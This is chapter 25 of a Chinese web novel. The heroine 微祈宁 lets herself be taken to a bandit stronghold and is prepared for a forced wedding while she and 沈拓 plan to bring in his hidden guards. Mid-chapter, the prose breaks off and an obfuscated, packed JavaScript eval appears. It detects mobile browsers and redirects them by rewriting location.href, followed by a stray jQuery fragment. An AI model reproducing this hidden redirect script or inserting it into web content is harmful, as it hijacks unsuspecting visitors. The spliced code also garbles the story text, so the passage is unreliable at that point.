25. 出嫁

作品:《反派他试图用爱感化我

    于是微祈宁便被请到虎头寨做客,以二当家的“夫人”身份。


    对了,今晚便成亲。


    什么,这个二当家是哪里冒出来的?


    二当家便是野哥,也不怪乎他对“大当家”这个称呼那么有执念。


    毕竟从古到今,老二都是一个尴尬的位置。


    说能力够吧,做不到第一,说能力不够吧,还能做到第二的地方。


    其实她也不想知道这些,她只想找到虎头寨的老巢然后一锅端了。


    但野哥比比赖赖了一路,翻来覆去的说跟了他多么多么好,他会给她带来多少权力,虎头寨所有人都得听她的云云。


    这一套口水话下来,她被烦的不行,根本没有时间记下路线,更别说什么留记号做线索之类的,为了应付野哥不让他产生怀疑,她不得不把原本设想里该做的一切统统抛之脑后。


    啧,一举三得。


    她一时疏忽,竟没看出野哥大愚若智相来。


    野哥在前面带路,身后有小弟护送,路途上七拐八拐的穿丛林蹚水洼,终于,在几个彪形大汉的簇拥下,微祈宁和沈拓被带到一间茅草屋里。


    走了多久,微祈宁便胆战心惊了多久,她提着一口气,手上的动作一刻也不敢放松。


    因为此前被无意掉落的虎符冲昏了头脑,特别是野哥当时遮掩的动作,让人不得不往深里多想,但现下大脑冷静下来,也觉得这个行为有些鲁莽。


    但是来都来了,走一步看一步吧。


    兹要野哥敢有任何逾矩的动作,她拼个鱼死网破也不会让他得手。


    不过令人意外的是,进到屋里以后,野哥居然开始回避她的目光,若追着细看,便能见到满身黑毛的肌肉壮汉居然红了脸。


    “妹妹你先在这待着,哥去先去安排,晚上就来娶你。”


    微祈宁:“……?”不是,怎么还走上纯情路线了?


    诧异归诧异,她还是十分乖巧的点头道:“好。”为了显得自己心诚,还特地娇羞一笑,“都听你的。”


    野哥一张黑脸笑的春风荡漾,显然被这一套拿捏了。


    “嘿嘿,好好。”


    他嘿嘿半天,脚步飘忽地走了。


    临出门前还不忘把门一关,留下屋里二人大眼瞪小眼。


    对视半晌,女人率先打破沉默。


    “这件事,你怎么看?”


    沈拓肃着脸不答反问:“你为何要答应他?”


    闻言,微祈宁默默翻了个大白眼。


    都是少年的狐狸,她不信沈拓完全不懂她在说什么。


    好好好,装傻是吧?


    好心被当成驴肝肺,她冷哼一声,情绪瞬间降至冰点。


    “不答应怎么办?靠你我如何与之周旋,难道要等着他恼羞成怒,先宰你再杀我吗?”


    沈拓黑眸定定:“我有暗卫。”


    言下之意,他们并不会受到任何伤害。


    ?


    微祈宁被噎了一下,反唇相讥道:“我又不知道,你怎么不早说?”


    一记反客为主彻底把沈拓堵的说不出话。但她并不想玩装傻的游戏,便转过身专心打量起眼前这间小屋来。


    留给沈拓的只有一颗茂密的后脑勺。


    这间屋子并不大,属于站在门口一眼便能望到头的那种。


    家具寥寥,一张床,一张桌子,还有满地的土与蜘蛛网,床上脏的看不出颜色的被褥,桌子上缺了口的破碗,以及一个全是土的,看不出原作什么用的罐子。


    简单判断了一下,她果断冲罐子走过去。


    身后传来沈拓的声音:“如果你想出去的话……”


    “不出去。”


    她走到桌子旁边拿起罐子观察,连视线也没有分给他。


    “我故意被掳来,就是要看看这个虎头寨隐藏了什么。”


    被打断的沈拓默了半晌:“我是说,现在即便你想出去也不行了,我和他们失联了。”


    “啊,那正合我意了。”


    她边拍去罐子边上的土,漫不经心应道。


    桌子的另一头,将女人的不在意收进眼底的沈拓垂下目光,强压下心底酸涩。


    原来在不知不觉中,他和她的关系,已经恶化到连好好说话都是奢望的地步了。


    午夜梦回,每一个辗转难眠的夜里,他不止一次扪心自问,后悔吗?


    为了那点虚无缥缈的权利,不惜忘恩负义背负万年骂名,不惜将她越推越远。


    答案是否定的。


    他要一步一步爬上去。


    他爬的越高,越被重视,沈家才有翻案的可能性。


    所以阿宁,有些事情你必须要知道。因为你已经不再是从前那个不问世事的小女孩了。


    只希望今日一事后,她可以把恨匀出去一点。


    还有……


    “阿宁,不论你信不信,我绝无害你之心……退一步说,我若存心害你,也不会使自己身陷囹圄。”


    “所以,不要对我有那么大的敌意,好吗?”


    他半瞌着眼,轻声表露自己的心声,也不管对方有没有听见。


    ……


    微祈宁当然听到了。


    总共地方就这么大,四面又都是墙,连喘气声都听的清清楚楚,更别说一个大活人字正腔圆的吐字。


    但她并没有放在心上,只当他莫名其妙的在发神经。毕竟人有七情六欲,谁都会有抑郁的时候。若在这个时候回过头的话,便一定能看到沈拓难掩悲伤的脸。


    可惜彼时的她正忙着鼓捣手里的罐子。


    这罐还挺沉,里边应该是有点东西。


    只是罐口用布封的很死,用劲拽也拽不动,又不能打碎了惊动外边的人。


    一筹莫展之际,恰好耳边传来沈拓的呢喃声。


    她招手道:“来,拓哥,来搭把手。”


    ——


    一眨眼便到了晚上。


    整个山庄灯火通明,往来人群皆面带喜色。并且无论是谁,身上一定有那么块红色的布,连关押人的小屋都被挂上了红绸。


    野哥害亲自给微祈宁送来一身嫁衣和盖头,嘱咐她一定要换上,弄得蛮像那么回事。


    新郎官滋着牙跑来跑去,看得出他很高兴。


    可另一位当事人明显就不那么高兴了。


    和想象中完全不一样的微祈宁冷着一张俏脸,面色沉的几乎滴出水来。


    该死的,她来这的目的是想见大当家打听点东西的,可不是为了嫁人啊!


    “沈拓,你说,咱们现在硬跑的话,有几分成功的把握?”她坐不住了,感觉事情超出了可控范围,“刚才我趁开门往外瞥了一眼,这里人不少。”


    沈拓很认真的想了想,道:“我九分,你零分。”


    “……那你跑吧,跑回去搬救兵,就说他们的军师要被压着拜堂了。”


    “别担心,我的人已经找上来了。”


    她有些急:“人多吗?待会趁乱突围的可能性有几分?”


    不等回答,便又


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15133807|163895||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    自言自语的分析道:“不用他们保护我,土匪们想要我的身子便不会轻易要了我的命,加上我也有一点功夫在身能保护好自己,他们带着你离开就够了……不对,咱们其实也不用跑,只需要封闭消息拖延时间,拖到你的人搬救兵来。”


    “只要救兵一到,我当即带人夷平了这虎头寨。”


    她咬着一口银牙,心里盘算着自己来此的真正目的。


    无论是大当家还是二当家,一个也别想跑出去。


    她要亲自审虎符的下落。


    沈拓道:“已经差人回去找了,路途较远,加上天黑难辨方向,可能得需要一点时间。不过你放心,我不会让你受到任何伤害的。”


    微祈宁摆摆手:“所以待会我负责挑起争乱,你联系你的人暗中待命,我们摔杯为号,懂了吗?”


    “好,那便如你所言……”


    “砰!砰!”


    沈拓话说一半,被一阵突如其来的敲门声打断。


    屋内二人心头皆是一惊,交换了个视线,在彼此眼中看到相同的警觉。


    “砰砰砰!”


    门外的人显然没什么耐心,没得到回应,动作越来越急,敲门声也逐渐转换为拍门声,催命似的砸在屋内的人耳膜里。


    微祈宁食指与拇指捏紧,做了个噤声的动作,同时摸出后腰的短刃攥在手里。


    “谁啊?”她扯着嗓子道。


    拍门声一滞,野哥粗旷的声音响起:


    “大舅哥是不是还在里头呢,快出来让妹妹换衣服!”


    听见来人是他,二人不约而同松了一口气。


    “出嫁事关重大,我和哥哥自小相依为命放纵惯了,他恐我伺候不好失了分寸,叮嘱我今后多些女儿家的规矩。”


    “好了好了知道了,以后我给大舅哥安排一个住处,绝不让你们分离。现在就快些吧,弟兄们在门口已经等不及见新娘子了。”


    野哥猴急的不行。


    微祈宁忙给沈拓递去眼神,示意她稳不住。


    沈拓一瞬间领悟到她的意思,于是他冲着门口朗声道:“阿宁,你以后懂点事,别让人再替你操心!”


    末了,他深深看她一眼,千言万语最终化成一句:


    “万事以自己为先。”


    他眸中担忧满的几乎要溢出来了,一个人即便隐藏的再好,眼睛是骗不了人的。


    联想到他刚才说的话,微祈宁不免动了恻隐之心,缓和了语气:“嗯。你也是,保护好自己。”


    仅短短一句话便让沈拓眸光巨颤,临走之前一步三回头,连眼圈都是通红的。


    她看在眼里,抿了抿唇,并未多说什么。


    ……也没什么好说的。


    对于沈拓,她一直找不到该怎么正确的和他相处。


    和对有“暴戾”之称陆无砚还不一样,她可以正面和陆无砚冷脸甚至吵架,因为知道最后他们之间的矛盾是一定能解决的。


    但是在沈拓面前,她却不敢过多的表露自己。


    多说多错。


    送走了沈拓,微祈宁匆匆把红袍批在身上,又裁了块长布把匕首绑在手臂内侧,借着宽大的袖子掩好。


    她盯着那块红盖头看了又看,紧张的不能自已。


    最后的最后,还是稀里糊涂的盖到了自己脑袋上。


    霎时间,入目皆红,看什么都像隔了一层红纱。


    才做好这一切,便听到“吱呀——”一声响,门开了。


    风声与喧嚣一齐涌进耳朵里。